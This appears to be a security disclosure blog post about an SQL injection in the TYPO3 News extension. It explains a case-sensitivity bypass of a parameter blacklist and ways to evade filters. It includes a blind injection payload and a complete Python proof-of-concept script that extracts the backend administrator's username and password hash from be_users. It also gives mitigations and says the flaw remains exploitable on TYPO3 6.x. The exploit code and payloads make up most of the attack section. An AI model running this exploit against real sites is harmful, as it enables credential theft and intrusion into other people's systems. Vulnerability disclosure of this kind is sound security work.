The News module, the 20th most used module of TYPO3, is subject to an SQL injection vulnerability. Although the author has been contacted numerous times in the span of 4 months, no fix has been provided. We are therefore releasing the details. Also, it should be noted that the vulnerability is only present when the module's setting overrideDemand
is set to 1
, which is the case by default.
The module is organised as an MVC architecture. As an user, you're allowed to list and read news. The former allows to define criteria to filter out news, such as the author, categories, date of publication, etc. Here's the simplified piece of code, present in NewsController.php, which is responsible for doing this. Comments are my own.
class NewsController { # List of parameters that cannot be set by the user protected $ignoredSettingsForOverride = ['demandClass', 'orderByAllowed']; # This is our entry point # The only parameter, $overwriteDemand, is sent via POST public function listAction(array $overwriteDemand = null) { # Initializes a Demand Object with default settings $demand = $this->createDemandObjectFromSettings($this->settings); # Sets up user-given settings from $overwriteDemand $demand = $this->overwriteDemandObject($demand, $overwriteDemand); # Builds an SQL query from the Demand object, and runs it $newsRecords = $this->newsRepository->findDemanded($demand); # Displays results $this->view->display($newsRecords); } protected function overwriteDemandObject($demand, $overwriteDemand) { # Some values cannot be set by the user: they are removed foreach ($this->ignoredSettingsForOverride as $property) { unset($overwriteDemand[$property]); } # Assign values that went through the filter by calling set<$name>($value) foreach ($overwriteDemand as $propertyName => $propertyValue) { $methodName = 'set' . ucfirst($propertyName); if(is_callable($demand, $setterMethodName)) $demand->{$setterMethodName}($propertyValue); } return $demand; } }
After its creation, parameters of the Demand object are used to build an SQL query: for instance, setting an author would result in adding a condition similar to this one to the query:
WHERE author='{$demand->getAuthor()}'
Any attribute might therefore be a potential SQL injection vector. The complete list of possible criteria is the following:
public function setArchiveRestriction($archiveRestriction); public function setCategories($categories); public function setCategoryConjunction($categoryConjunction); public function setIncludeSubCategories($includeSubCategories); public function setAuthor($author); public function setTags($tags); public function setTimeRestriction($timeRestriction); public function setTimeRestrictionHigh($timeRestrictionHigh); public function setOrder($order); public function setOrderByAllowed($orderByAllowed); public function setTopNewsFirst($topNewsFirst); public function setSearchFields($searchFields); public function setTopNewsRestriction($topNewsRestriction); public function setStoragePage($storagePage); public function setDay($day); public function setMonth($month); public function setYear($year); public function setLimit($limit); public function setOffset($offset); public function setDateField($dateField); public function setSearch($search = null); public function setExcludeAlreadyDisplayedNews($excludeAlreadyDisplayedNews); public function setHideIdList($hideIdList); public function setAction($action); public function setClass($class); public function setActionAndClass($action, $controller);
Out of these, a few seem interesting, as they are not contained in quotes in an SQL query; limit
, offset
, and order
look like good candidates. Sadly, the first two are properly filtered using a cast to integer.
Nevertheless, the last one, order
, is filtered using a whitelist, contained in another parameter, orderByAllowed
.
if (Validation::isValidOrdering($demand->getOrder(), $demand->getOrderByAllowed())) { $order_by_field = $demand->getOrder(); } else { # Default $order_by_field = 'id'; }
Therefore, by sending, via POST, orderByAllowed
, and orderBy
, we would be able to control a part of the SQL statement, and get an injection.
But again, we're blocked: orderByAllowed
is one of the blacklisted parameters: it cannot be set via POST. Here is the attribute filtering/setting code again:
protected function overwriteDemandObject($demand, $overwriteDemand) { # Some values cannot be set by the user: they are removed foreach ($this->ignoredSettingsForOverride as $property) { unset($overwriteDemand[$property]); } # Assign values that went through the filter by calling set<$name>($value) foreach ($overwriteDemand as $propertyName => $propertyValue) { $methodName = 'set' . ucfirst($propertyName); if(is_callable($demand, $setterMethodName)) $subject->{$setterMethodName}($propertyValue); } return $demand; }
In order to call the setter, the module capitalizes the first letter of given parameters. It allows us to bypass the unset() filter: by sending OrderByAllowed
with a capital O
instead, it is not deleted anymore, and setOrderByAllowed()
is called.
We're now able to define our own orderByAllowed
: order
can be fully controlled by us, and we get an SQL injection.
Since we're exploiting an ORDER BY
on MySQL, our payload must be of the form:
IF( ( ORD(SUBSTRING( (SELECT password FROM be_user WHERE id=1), 4, 1) )) = 0x41 ), id, title )
Depending on the result of the test, the ordering of the news would change, allowing us to perform a test-based SQL injection.
But again, to some application logic and WAF filters, we have to bypass a few restrictions in order to be able to exploit this SQL injection.
Badchars:
Also, the name of table is prefixed to our payload. That is, the SQL query looks like:
SELECT ... FROM ... ORDER BY tx_news_model_domain_news.$order
Since SQL does not care about the case, the first problem can be discarded. The second one, along with the comments, can be bypassed by using a parenthesed syntax, such as:
...(SELECT(password)FROM(be_users)WHERE(id=1))...
Commas are a little bit more annoying, but MySQL provides some alternative syntaxes, such as SUBSTRING(x FROM y FOR z)
instead of SUBSTRING(x, y, z)
, and (CASE condition WHEN 1 THEN x ELSE y END)
instead of IF(condition,x,y)
.
Badchars being avoided, we can now focus on the prefix problem. Instead of using two fields, we pick a numeric field and multiply it by either 1
or -1
, depending on our condition, like so:
uid * (CASE condition WHEN 1 THEN 1 ELSE -1 END)
If condition
is true
, the news will be sorted by uid
. Otherwise, they'll be sorted by -uid
, which means they'll be displayed in the reverse order.
Our final payload looks like this:
uid*(case(ord(substring((select(password)from(be_users)where(uid=1))from(2)for(1))))when(48)then(1)else(-1)end)
We now have every element to conduct a blind SQL injection. By default, sessions are IP-specific, meaning that we cannot use them to hijack an account. We need to download and bruteforce password hashes.
The best way to patch this is to block users from changing the demand parameters by setting overrideDemand
to zero. Another way would be to block keys containing any case-variation and URL-encoding of OrderByAllowed
from GET and POST.
#!/usr/bin/python3 # TYPO3 News Module SQL Injection Exploit # https://www.ambionics.io/blog/typo3-news-module-sqli # cf # # The injection algorithm is not optimized, this is just meant to be a POC. # import requests import string session = requests.Session() session.proxies = {'http': 'localhost:8080'} # Change this :-) URL = 'http://vmweb/typo3/index.php?id=8&no_cache=1' PATTERN0 = 'Article #1' PATTERN1 = 'Article #2' FULL_CHARSET = string.ascii_letters + string.digits + '$./' def blind(field, table, condition, charset): # We add 9 so that the result has two digits # If the length is superior to 100-9 it won't work size = blind_size( 'length(%s)+9' % field, table, condition, 2, string.digits ) size = int(size) - 9 data = blind_size( field, table, condition, size, charset ) return data def select_position(field, table, condition, position, char): payload = 'select(%s)from(%s)where(%s)' % ( field, table, condition ) payload = 'ord(substring((%s)from(%d)for(1)))' % (payload, position) payload = 'uid*(case((%s)=%d)when(1)then(1)else(-1)end)' % ( payload, ord(char) ) return payload def blind_size(field, table, condition, size, charset): string = '' for position in range(size): for char in charset: payload = select_position(field, table, condition, position+1, char) if test(payload): string += char print(string) break else: raise ValueError('Char was not found') return string def test(payload): response = session.post( URL, data=data(payload) ) response = response.text return response.index(PATTERN0) < response.index(PATTERN1) def data(payload): return { 'tx_news_pi1[overwriteDemand][order]': payload, 'tx_news_pi1[overwriteDemand][OrderByAllowed]': payload, 'tx_news_pi1[search][subject]': '', 'tx_news_pi1[search][minimumDate]': '2016-01-01', 'tx_news_pi1[search][maximumDate]': '2016-12-31', } # Exploit print("USERNAME:", blind('username', 'be_users', 'uid=1', string.ascii_letters)) print("PASSWORD:", blind('password', 'be_users', 'uid=1', FULL_CHARSET))
After the publication of our article, a patch was published by the editor. Nevertheless the vulnerability is still exploitable on Typo3 6.x.
The trick is to use dateField
instead of OrderByAllowed
to perform the injection. The vulnerability is fixed on other branches (7.x and 8.x) due to this unrelated patch.
Applying this patch to Typo3 6.x would fix the bug.